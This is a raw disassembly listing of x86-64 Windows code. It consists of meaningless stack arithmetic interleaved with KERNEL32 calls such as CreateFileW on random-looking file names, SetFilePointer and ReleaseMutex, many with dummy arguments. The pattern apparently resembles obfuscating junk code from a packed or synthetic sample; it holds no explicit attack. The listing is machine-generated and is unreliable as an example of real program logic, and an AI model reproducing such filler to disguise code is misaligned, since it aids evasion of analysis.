mov rax, qword [rsp + 0xaeb0]
mov eax, dword [rax]
mov dword [rsp + 0x49d8], eax
movzx eax, byte [rsp + 0x28e]
movzx ecx, byte [rsp + 0x379]
sar eax, cl
mov byte [rsp + 0x1ca], al
lea rax, [rsp + 0x1e28]
mov qword [0x14022bbd0], rax
mov rax, qword [rsp + 0xaf48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ab8], ax
movzx eax, word [rsp + 0x1e08]
movzx ecx, word [rsp + 0x1e60]
and eax, ecx
mov word [rsp + 0x1cd0], ax
mov rax, qword [rsp + 0xa3f0]
mov qword [rsp + 0xb1f0], rax
movsx eax, byte [rsp + 0x392]
movsx ecx, byte [rsp + 0x355]
and eax, ecx
mov byte [rsp + 0x34e], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.WLuH4E84G6D1meKqBn1jeqW421
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0xaad0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4710], eax
lea rax, [rsp + 0xa750]
mov qword [rsp + 0xb200], rax
mov rax, qword [0x14022b8f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1d80], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xec82
mov rcx, qword [rsp + 0xa658]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4988], eax
mov rax, qword [rsp + 0xade0]
movzx eax, word [rax]
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0x82d0]
mov rcx, qword [rsp + 0x9780]
or rcx, rax
mov rax, rcx
mov qword [0x140229f60], rax
mov rax, qword [0x14022b908]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
sar eax, cl
mov rcx, qword [rsp + 0x9820]
mov word [rcx], ax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x82d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3c8]
mov rcx, qword [rsp + 0x9bf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e70], rax
mov rcx, qword [rsp + 0x9b88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 2
xor r8d, r8d
mov edx, 0xbb65
mov rcx, qword [rsp + 0xaaf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49dc], eax
mov rax, qword [rsp + 0xaf60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb088]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa288]
movzx eax, byte [rax]
mov byte [rsp + 0x393], al
mov rax, qword [rsp + 0xad58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov byte [rcx], al
mov eax, dword [rsp + 0x3db8]
mov ecx, dword [rsp + 0x39bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa258]
mov dword [rcx], eax
lea rax, [rsp + 0x9bc0]
mov qword [rsp + 0xb208], rax
movsx eax, word [0x140229f44]
mov rcx, qword [rsp + 0x9cb0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022b940]
mov word [rcx], ax
mov rax, qword [rsp + 0xa460]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa918]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d54], ax
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf60], ax
movzx eax, word [rsp + 0x1384]
movzx ecx, word [rsp + 0x1e7c]
add eax, ecx
mov rcx, qword [rsp + 0xabd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa158]
mov eax, dword [rax]
mov dword [rsp + 0x49e0], eax
mov rax, qword [rsp + 0xae50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8488]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb200]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x35c]
movsx ecx, byte [rsp + 0x342]
shl eax, cl
mov byte [rsp + 0x370], al
movzx eax, word [rsp + 0x16dc]
mov word [rsp + 0x1ea8], ax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0x1d08]
xor eax, ecx
mov word [rsp + 0x1260], ax
mov rax, qword [rsp + 0xa180]
mov rax, qword [rax]
mov qword [0x14022bbd8], rax
mov rax, qword [rsp + 0x7fd8]
mov rcx, qword [rsp + 0xa200]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0xa5b8]
mov rax, qword [rax]
mov rcx, qword [0x14022b888]
mov qword [rsp + 0xb210], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb210]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7e78], rax
lea rcx, [rsp + 0xacc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9fb0]
mov rcx, qword [rsp + 0xa2b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1e80]
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0x9c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x483c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x48e4], eax
lea rax, [rsp + 0x35b]
mov qword [rsp + 0xb218], rax
mov rax, qword [rsp + 0xa648]
mov rcx, qword [rsp + 0xafb0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa7e0]
mov qword [rcx], rax
mov rax, qword [0x14022b928]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x353]
add eax, ecx
mov byte [rsp + 0x34e], al
lea rax, [rsp + 0x491c]
mov qword [0x14022bbe0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf2af
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4664], eax
movsx eax, word [rsp + 0xe24]
mov rcx, qword [rsp + 0xafd0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec8], ax
movsx eax, word [0x14022bb50]
movsx ecx, word [rsp + 0x1e84]
and eax, ecx
mov rcx, qword [rsp + 0xa980]
mov word [rcx], ax
lea rax, [rsp + 0x1088]
mov qword [rsp + 0xb220], rax
mov rax, qword [rsp + 0x6f28]
mov rcx, qword [rsp + 0xad68]
mov qword [rsp + 0xb228], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb228]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7b58], rax
mov eax, dword [rsp + 0x4044]
mov ecx, dword [rsp + 0x49bc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb040]
mov dword [rcx], eax
lea rax, [rsp + 0x9a00]
mov qword [rsp + 0xb230], rax
mov rax, qword [rsp + 0x9c98]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b812]
or eax, ecx
mov byte [rsp + 0x1b0], al
lea rax, [rsp + 0x1c88]
mov qword [rsp + 0xb238], rax
mov rax, qword [rsp + 0xb160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14022ba00]
mov word [rcx], ax
mov rax, qword [rsp + 0xa828]
mov rcx, qword [0x14022bb70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa828]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1ea4]
mov word [rsp + 0x1eb0], ax
movzx eax, byte [rsp + 0x310]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x275], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov eax, dword [rsp + 0x4658]
mov rcx, qword [rsp + 0x9c88]
mov qword [rsp + 0xb240], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb240]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa910]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.MzKze15MUKeeRmL4q
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb248], rax
lea rax, [rsp + 0xeb]
mov qword [rsp + 0xb250], rax
mov eax, dword [rsp + 0x4934]
mov ecx, dword [rsp + 0x4888]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4780], eax
mov rax, qword [rsp + 0xa2a0]
mov rcx, qword [rsp + 0xa5f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8578], rax
mov rax, qword [rsp + 0xab30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d8c], ax
mov rax, qword [rsp + 0xa840]
movzx eax, word [rax]
movzx ecx, word [0x14022bb10]
and eax, ecx
mov rcx, qword [0x14022b998]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7d0]
mov rcx, qword [rsp + 0x7f10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
lea rax, [rsp + 0x7c50]
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb020]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c98], ax
mov rax, qword [rsp + 0xb0a0]
movzx eax, word [rax]
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xa688]
mov rcx, qword [rsp + 0x9d98]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xaf40]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x169]
mov rcx, qword [0x14022ba80]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa308]
mov byte [rcx], al
mov rax, qword [rsp + 0xadb8]
mov eax, dword [rax]
mov dword [rsp + 0x49e4], eax
mov rax, qword [rsp + 0xae88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa860]
mov qword [rsp + 0xb260], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb260]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa360]
mov qword [rcx], rax
lea rax, [rsp + 0x1d40]
mov qword [0x14022bbe8], rax
mov rax, qword [rsp + 0xb110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x163c]
sub eax, ecx
mov word [rsp + 0xd30], ax
mov rax, qword [rsp + 0xb218]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
add eax, ecx
mov rcx, qword [rsp + 0xad00]
mov byte [rcx], al
mov rax, qword [rsp + 0xa258]
mov ecx, dword [rsp + 0x4748]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov dword [rcx], eax
lea rax, [rsp + 0x9780]
mov qword [rsp + 0xb268], rax
movsx eax, byte [rsp + 0x38c]
movsx ecx, byte [rsp + 0x380]
and eax, ecx
mov byte [rsp + 0x382], al
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4230]
mov dword [rsp + 0x49e8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa698]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa070]
shr rax, cl
mov rcx, qword [rsp + 0x9e00]
mov qword [rcx], rax
lea rax, [rsp + 0x1dec]
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0xa778]
movzx eax, word [rax]
movzx ecx, word [0x14022b850]
and eax, ecx
mov word [0x14022ba38], ax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0xa660]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa840]
movzx eax, word [rax]
mov rcx, qword [0x14022b9d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d44], ax
lea rax, [rsp + 0xecc]
mov qword [rsp + 0xb278], rax
lea rcx, [rsp + 0xa6b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa4b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x355]
mov qword [rsp + 0xb280], rax
mov r9d, 0x98c
xor r8d, r8d
lea rdx, [rsp + 0xaba8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4980], eax
mov rax, qword [rsp + 0xa250]
mov rcx, qword [rsp + 0xa858]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb058]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5d0], rax
movzx eax, word [rsp + 0x1b14]
mov rcx, qword [0x14022ba40]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1308], ax
mov rax, qword [rsp + 0xb1a8]
mov rcx, qword [rsp + 0xb198]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14022a038], rax
mov rax, qword [rsp + 0xad00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x29c]
sar eax, cl
mov byte [rsp + 0x275], al
mov eax, dword [rsp + 0x483c]
mov dword [rsp + 0x49ec], eax
mov rax, qword [rsp + 0xb0d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1518]
add eax, ecx
mov rcx, qword [rsp + 0xb168]
mov word [rcx], ax
movzx eax, word [rsp + 0x87c]
mov rcx, qword [rsp + 0xa238]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb220]
mov word [rcx], ax
lea rax, [rsp + 0xa8b0]
mov qword [rsp + 0xb288], rax
mov eax, dword [rsp + 0x48ac]
mov ecx, dword [rsp + 0x482c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4934], eax
mov rax, qword [rsp + 0xa598]
movzx eax, byte [rax]
mov byte [rsp + 0x394], al
movsx eax, word [0x140229f44]
movsx ecx, word [rsp + 0x1cf4]
and eax, ecx
mov word [rsp + 0x1ca0], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov word [0x14022bbf0], ax
mov rax, qword [rsp + 0xa4a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabe8]
mov qword [rsp + 0xb290], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb290]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7f08], rax
mov rax, qword [rsp + 0xa068]
mov rcx, qword [rsp + 0x8a18]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xad68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0xb1f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xae40], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov r9d, 2
xor r8d, r8d
mov edx, 0xd2fb
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49f0], eax
movzx eax, word [rsp + 0x1c34]
mov word [rsp + 0x1eb8], ax
mov rax, qword [rsp + 0xad48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
lea rax, [rsp + 0x474c]
mov qword [rsp + 0xb298], rax
mov rax, qword [rsp + 0x9218]
mov rcx, qword [rsp + 0xb078]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xad18], rax
mov rax, qword [rsp + 0xac78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa7d8]
mov qword [rsp + 0xb2a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3fe0], eax
mov rax, qword [rsp + 0xaa78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x378]
xor eax, ecx
mov byte [rsp + 0x250], al
mov rax, qword [0x14022bbd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1518]
sar eax, cl
mov rcx, qword [0x14022bbe8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1e64]
movzx ecx, word [rsp + 0x1d74]
sub eax, ecx
mov word [rsp + 0xa58], ax
mov rax, qword [rsp + 0xa238]
movzx eax, word [rax]
mov word [rsp + 0x1ebc], ax
mov rax, qword [rsp + 0xa828]
mov rcx, qword [rsp + 0x8360]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9ed8]
mov qword [rcx], rax
lea rcx, [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x186]
movsx ecx, byte [rsp + 0x129]
and eax, ecx
mov byte [rsp + 0x2b4], al
mov rax, qword [rsp + 0xb088]
mov eax, dword [rax]
mov dword [rsp + 0x49f4], eax
mov rax, qword [rsp + 0xae18]
mov rcx, qword [rsp + 0xae68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7eb8], rax
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0xa398]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd98], ax
mov rax, qword [rsp + 0xa000]
movzx eax, word [rax]
movzx ecx, word [0x14022b824]
sub eax, ecx
mov rcx, qword [rsp + 0xa840]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [rsp + 0xa6f0]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14022ba50], rax
mov rax, qword [rsp + 0xa5e8]
movzx eax, word [rax]
movzx ecx, word [0x14022b968]
and eax, ecx
mov word [rsp + 0x1274], ax
lea rax, [rsp + 0x8db8]
mov qword [rsp + 0xb2a8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x123a
mov rcx, qword [rsp + 0xa9c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4820], eax
mov rax, qword [rsp + 0xa080]
movzx ecx, al
mov rax, qword [rsp + 0xa880]
shl rax, cl
mov qword [rsp + 0x82d0], rax
mov eax, dword [rsp + 0x49e0]
mov dword [rsp + 0x49f8], eax
mov rax, qword [0x14022ba80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x372]
xor eax, ecx
mov byte [rsp + 0x346], al
mov eax, dword [rsp + 0x3dc8]
mov ecx, dword [rsp + 0x48f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f4c], eax
movzx eax, byte [rsp + 0x36c]
mov rcx, qword [rsp + 0xa1b8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6e], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xa4e0]
mov rcx, qword [rsp + 0xa638]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7dd0], rax
lea rax, [rsp + 0x1d98]
mov qword [0x14022bbf8], rax
movzx eax, word [rsp + 0x10c0]
mov word [rsp + 0x1ec0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb2b0], rax
movzx eax, word [0x14022a010]
mov rcx, qword [rsp + 0xa4f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d70], ax
lea rax, [rsp + 0x177c]
mov qword [rsp + 0xb2b8], rax
mov rax, qword [rsp + 0xb040]
mov ecx, dword [rsp + 0x4044]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47b4], eax
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [rsp + 0x80d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d18], rax
mov rax, qword [rsp + 0xac20]
movzx eax, byte [rax]
mov byte [rsp + 0x395], al
mov rax, qword [rsp + 0x9f00]
movsx eax, word [rax]
mov rcx, qword [0x14022bb40]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10b4], ax
movzx eax, word [rsp + 0x1a3c]
movzx ecx, word [rsp + 0x15f4]
and eax, ecx
mov word [rsp + 0xb1c], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xa360]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x94b0]
sar rax, cl
mov qword [0x14022ba90], rax
mov rax, qword [rsp + 0xafe8]
mov rcx, qword [rsp + 0x7400]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c20], rax
mov rax, qword [rsp + 0x9d48]
mov rcx, qword [rsp + 0x9ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
mov r9d, 0x1004
xor r8d, r8d
lea rdx, [rsp + 0xafd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48f8], eax
mov rax, qword [rsp + 0xa1e0]
mov qword [rsp + 0xb2c0], rax
movzx eax, word [0x14022bac0]
movzx ecx, word [rsp + 0x1de0]
and eax, ecx
mov rcx, qword [rsp + 0xb160]
mov word [rcx], ax
mov rax, qword [rsp + 0xae98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x483c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c40], eax
mov rax, qword [rsp + 0x9fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8f]
xor eax, ecx
mov byte [rsp + 0x38b], al
lea rax, [rsp + 0x4270]
mov qword [rsp + 0xb2c8], rax
movsx eax, byte [rsp + 0x373]
mov rcx, qword [rsp + 0xa700]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xac20]
mov byte [rcx], al
lea rax, [rsp + 0x8d58]
mov qword [0x14022bc00], rax
mov rax, qword [rsp + 0xa1a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c34]
add eax, ecx
mov word [rsp + 0x1518], ax
movzx eax, word [rsp + 0x1268]
mov word [rsp + 0x1ec4], ax
movzx eax, word [rsp + 0x17f8]
mov rcx, qword [0x14022bbb0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9e40]
mov word [rcx], ax
lea rax, [rsp + 0x7e70]
mov qword [rsp + 0xb2d0], rax
mov rax, qword [rsp + 0xb088]
mov ecx, dword [rsp + 0x4774]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x497c], eax
mov rax, qword [rsp + 0x9cc8]
mov rcx, qword [rsp + 0xaaa0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa130]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x82], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movsx eax, word [rsp + 0x1cb8]
movsx ecx, word [rsp + 0xa08]
add eax, ecx
mov word [rsp + 0x1dc4], ax
movzx eax, word [rsp + 0x1dd8]
mov word [0x14022bc08], ax
mov rax, qword [rsp + 0x8ca8]
mov qword [rsp + 0xb2d8], rax
movzx eax, word [rsp + 0x1d4c]
mov rcx, qword [rsp + 0xa840]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1df4], ax
mov eax, dword [rsp + 0x460c]
mov rcx, qword [rsp + 0x9b38]
mov qword [rsp + 0xb2e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x41b4], eax
lea rax, [rsp + 0x376]
mov qword [rsp + 0xb2e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.Q7J7jzpCysgz_vrJeSPxw2v8mDlRN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb2f0], rax
mov eax, dword [rsp + 0x4764]
mov ecx, dword [rsp + 0x49e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac38]
mov dword [rcx], eax
lea rax, [0x14022b811]
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x99e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa7e0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf58]
mov rcx, qword [rsp + 0xaa80]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ec4], ax
movzx eax, word [rsp + 0x9f4]
movzx ecx, word [rsp + 0x1274]
shl eax, cl
mov word [0x14022a040], ax
lea rax, [rsp + 0xa260]
mov qword [rsp + 0xb300], rax
mov rcx, qword [rsp + 0x9f50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa068]
mov rcx, qword [rsp + 0xa820]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ba0], rax
movzx eax, word [0x140229f58]
mov word [rsp + 0x1ec8], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xaf07
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48f8], eax
movzx eax, word [rsp + 0x176c]
mov rcx, qword [rsp + 0xb090]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d7c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.LCn76AgiYc7AIuu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb308], rax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaef0]
mov qword [rsp + 0xb310], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb310]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4160], eax
mov rax, qword [rsp + 0x7420]
mov rcx, qword [rsp + 0x79f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa940]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1bb]
movsx ecx, byte [rsp + 0x342]
sub eax, ecx
mov byte [rsp + 0x2c3], al
lea rax, [rsp + 0xab10]
mov qword [rsp + 0xb318], rax
lea rcx, [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd80c
mov rcx, qword [rsp + 0xa900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4798], eax
mov rax, qword [rsp + 0xa398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xacd0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140229f54], ax
lea rcx, [rsp + 0xa6c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0xb110]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cc8], ax
movzx eax, byte [rsp + 0x345]
mov byte [rsp + 0x396], al
mov rax, qword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0x4234]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa8c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa660]
mov rcx, qword [rsp + 0xa720]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa9a8], rax
mov rax, qword [rsp + 0x9e80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
sar eax, cl
mov byte [rsp + 0x13f], al
mov eax, dword [rsp + 0x4044]
mov rcx, qword [rsp + 0xa220]
mov qword [rsp + 0xb320], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb320]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa8f8]
